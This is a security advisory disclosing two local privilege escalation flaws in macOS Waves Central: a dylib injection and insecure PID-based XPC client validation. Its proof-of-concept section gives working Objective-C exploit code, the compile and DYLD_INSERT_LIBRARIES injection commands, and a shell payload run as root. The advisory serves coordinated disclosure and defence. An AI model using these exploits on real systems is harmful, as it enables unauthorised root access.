Multiple Local Privilege Escalation Vulnerabilities in Waves Audio Waves Central

Title

Multiple Local Privilege Escalation Vulnerabilities

Product

Waves Audio - Waves Central

Vulnerable Version

v13.0.8 - v16.6.0

Fixed Version

v16.6.2

CVE Number

CVE-2026-24064, CVE-2026-24065

Impact

high

Found

07.01.2026

By

Florian Haselsteiner (Office Vienna) | SEC Consult Vulnerability Lab

Management summary

Waves Central was found to be vulnerable to Local Privilege Escalation via multiple vectors. The privileged helper utilized by Waves Central via XPC did not perform secure client validation. A DYLIB Injection vulnerability allowed to inject code into a validly signed binary, leading to an attacker being able to connect to the privileged helper.

Vendor description

“Waves is the world’s leading developer of audio plugins and signal processors for the professional and consumer electronics audio markets. Heard on hit records, major motion pictures, and popular video games worldwide, Waves’ cutting-edge software and hardware processors are used in every aspect of audio production, from tracking to mixing to mastering, broadcast, live sound, and more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS, and AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts.”

Source: https://www.waves.com/about-us

Business recommendation

The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.

Vulnerability overview/description

1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)

Waves Central provides a "PrivilegedHelperTool" during installation. It uses the "InstlHelperApplication" located at the following path to connect to the privileged helper tool via XPC:

/Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/

It was found that the "InstlHelperApplication" was signed with the entitlements "com.apple.security.cs.allow-dyld-environment-variables" and "com.apple.security.cs.disable-library-validation" which together allow to inject unsigned libraries into the process and therefore inheriting the code signature.

% codesign -dvv --entitlements -  /Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
Executable=/Applications/Waves Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
Identifier=com.waves.central.InstlHelperApplication
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded
Signature size=8956
Authority=Developer ID Application: Waves Inc (GT6E3XD798)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=12.02.2023 at 19:37:53
Info.plist entries=32
TeamIdentifier=GT6E3XD798
Runtime Version=11.1.0
Sealed Resources version=2 rules=13 files=5
Internal requirements count=1 size=200
[Dict]
    [Key] com.apple.security.inherit
    [Value]
        [Bool] true
    [Key] com.apple.security.network.client
    [Value]
        [Bool] true
    [Key] com.apple.security.network.server
    [Value]
        [Bool] true
    [Key] com.apple.security.files.bookmarks.app-scope
    [Value]
        [Bool] true
    [Key] com.apple.security.cs.disable-library-validation
    [Value]
        [Bool] true
    [Key] com.apple.security.files.bookmarks.document-scope
    [Value]
        [Bool] true
    [Key] com.apple.security.files.user-selected.read-write
    [Value]
        [Bool] true
    [Key] com.apple.security.personal-information.addressbook
    [Value]
        [Bool] true
    [Key] com.apple.security.cs.allow-dyld-environment-variables
    [Value]
        [Bool] true
    [Key] com.apple.security.cs.allow-unsigned-executable-memory
    [Value]
        [Bool] true
    [Key] com.apple.security.cs.disable-executable-page-protection
    [Value]
        [Bool] true

By inheriting the code signature an attacker, who injects a malicious library into the application, is able to abuse the signature of the InstlHelperApplication to connect to the privileged helper tool via its exposed mach service "com.waves.central.InstlHelper".

2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)

It was found that the XPC service "com.waves.central.InstlHelper", offered by the privileged helper, uses the connecting client's PID to check its code signature. This is insecure and can be attacked using a PID reuse attack, which will trick the service into thinking the connecting client has a valid code signature.

Proof of concept

1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)

The attacker can abuse the function "executeIrlFileWithPath" offered by the privileged helper to get code execution as root. To demonstrate this the following dynamic library has been developed. After loading the library, "executeIrlFileWithPath" is triggered to execute /tmp/lol which is basically a shell script:

#import <Foundation/Foundation.h>
//gcc -dynamiclib name
#include <stdio.h>
@protocol HelperProtocol
- (void)getVersionWithCompletion:(void (^)(id version))completion;
- (void)executeIrlFileWithPath:(NSString *)filePath
                      homeDir:(NSString *)homeDir
                       asUser:(id)asUser
                   completion:(void (^)(id result))completion;
//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion: (__C.NSNumber) -> ()) -> ()
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
    
   NSXPCConnection *conn =
       [[NSXPCConnection alloc]
           initWithMachServiceName:@"com.waves.central.InstlHelper"
           options:NSXPCConnectionPrivileged];
   conn.remoteObjectInterface =
       [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
   [conn resume];
   id<HelperProtocol> proxy =
       [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
           NSLog(@"XPC error: %@", error);
       }];
   [proxy getVersionWithCompletion:^(id version) {
       NSLog(@"Version: %@", version);
   }];
   [proxy executeIrlFileWithPath:@"/tmp/lol"
                      homeDir:@"/tmp"
                       asUser:@"root"
                   completion:^(id result){
                       NSLog(@"Execution result: %@", result);}];
       [[NSRunLoop currentRunLoop] run];
   
} 

This code can be compiled using the following command:

clang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm  

After loading the library, /tmp/lol is created as described above:

cat /tmp/lol
/bin/bash -c "touch /etc/pwnedbytmp"

It can then be loaded into the injectable XPC client InstlHelperApplication:

DYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication

Figure 1: Proof of concept for local privilege escalation to root

2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)

To exploit this issue an attacker can abuse the insecure client validation via PID to gain access to the corresponding NSXPC functions via XPC. The "executeIrlFileWithPath" function can be exploited to gain code execution as root. The following Objective C PoC code was created:

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>
#define RACE_COUNT 32
#define BINARY "/Applications/Waves Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
@protocol HelperProtocol
- (void)getVersionWithCompletion:(void (^)(id version))completion;
- (void)executeIrlFileWithPath:(NSString *)filePath
                      homeDir:(NSString *)homeDir
                       asUser:(id)asUser
                   completion:(void (^)(id result))completion;
@end
void child() {
   // send the XPC messages
   NSXPCConnection *conn =
       [[NSXPCConnection alloc]
           initWithMachServiceName:@"com.waves.central.InstlHelper"
           options:NSXPCConnectionPrivileged];
   conn.remoteObjectInterface =
       [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
   [conn resume];
   id<HelperProtocol> proxy =
       [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
           NSLog(@"XPC error: %@", error);
       }];
   [proxy getVersionWithCompletion:^(id version) {
       NSLog(@"Version: %@", version);
   }];
   [proxy executeIrlFileWithPath:@"/tmp/lol"
                      homeDir:@"/tmp"
                       asUser:@"root"
                   completion:^(id result){
                       NSLog(@"Execution result: %@", result);}];
   char target_binary[] = BINARY;
   char *target_argv[] = {target_binary, NULL};
   posix_spawnattr_t attr;
   posix_spawnattr_init(&attr);
   short flags;
   posix_spawnattr_getflags(&attr, &flags);
   flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
   posix_spawnattr_setflags(&attr, flags);
   posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
bool create_nstasks() {
   NSString *exec = [[NSBundle mainBundle] executablePath];
   NSTask *processes[RACE_COUNT];
   for (int i = 0; i < RACE_COUNT; i++) {
       processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
   }
   int i = 0;
   struct timespec ts = {
       .tv_sec = 0,
       .tv_nsec = 500 * 1000000,
   };
   nanosleep(&ts, NULL);
   if (++i > 4) {
       for (int i = 0; i < RACE_COUNT; i++) {
           [processes[i] terminate];
       }
       return false;
   }
   return true;
}
int main(int argc, const char * argv[]) {
   if(argc > 1) {
   // called from the NSTasks
       child();
   } else {
       NSLog(@"Starting the race");
       create_nstasks();
   }
   return 0;
}

This can be compiled using gcc with the following command:

gcc -o exploit_waves_pid -framework Foundation exploit_pid.m

After creating the file /tmp/lol accordingly the binary can be run and the helper will execute /tmp/lol as root.

Vulnerable / tested versions

The following version has been tested which was the latest version available at the time of the test:

  • 16.1.6.244088

Vendor contact timeline

2026-01-21 Contacting vendor through www.waves.com/contact-us
2026-01-22 Response by vendor, stating they will provide PGP keys for encrypted communication as well as dedicated security email address.
2026-01-27 Asking for the encryption details.
2026-01-28 Vendor provides PGP key.
2026-01-29 Submitting encrypted advisory to vendor.
2026-02-04 Vendor had troubles decrypting the advisory. It was sent unencrypted upon request.
2026-02-18 Vendor asked for additional information.
2026-02-24 Vendor is resolving the issues and asked for more time before public disclosure.
2026-02-25 Confirming that we will give them more time until 23.4.2026
2026-03-02 Vendor came up with a fixed version in dev.
2026-03-04 Patch has been verified to mitigate the specific attacks.
2026-03-04 Vendor has been notified that the patch mitigates the findings but submitted further observations to the vendor.
2026-03-05 Vendor is currently working on outstanding items.
2026-03-24 Asking for a status update.
2026-03-29 A fixed version is planned for mid April, vendor requests delay of publication to 30th April.
2026-04-27 Asking for a status update.
2026-04-29 Vendor informs us that an update is planned for 30th April.
2026-04-30 Asking for affected/fixed versions again. Vendor will provide it and requests CVSS and CVE text. Sending requested information. No further response from vendor.
2026-06-01 Asking whether patch has been released & regarding affected versions. Vendor provides information. Scheduling release for week 24 now.
2026-06-09 Coordinated release of advisory.

Solution

The vendor provides a patch which can be downloaded from the following URL:

https://www.waves.com/downloads/central

Workaround

None

Advisory URL

https://sec-consult.com/vulnerability-lab/

 

EOF Florian Haselsteiner / @2026

 

Interested to work with the experts of SEC Consult? Send us your application.
Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices.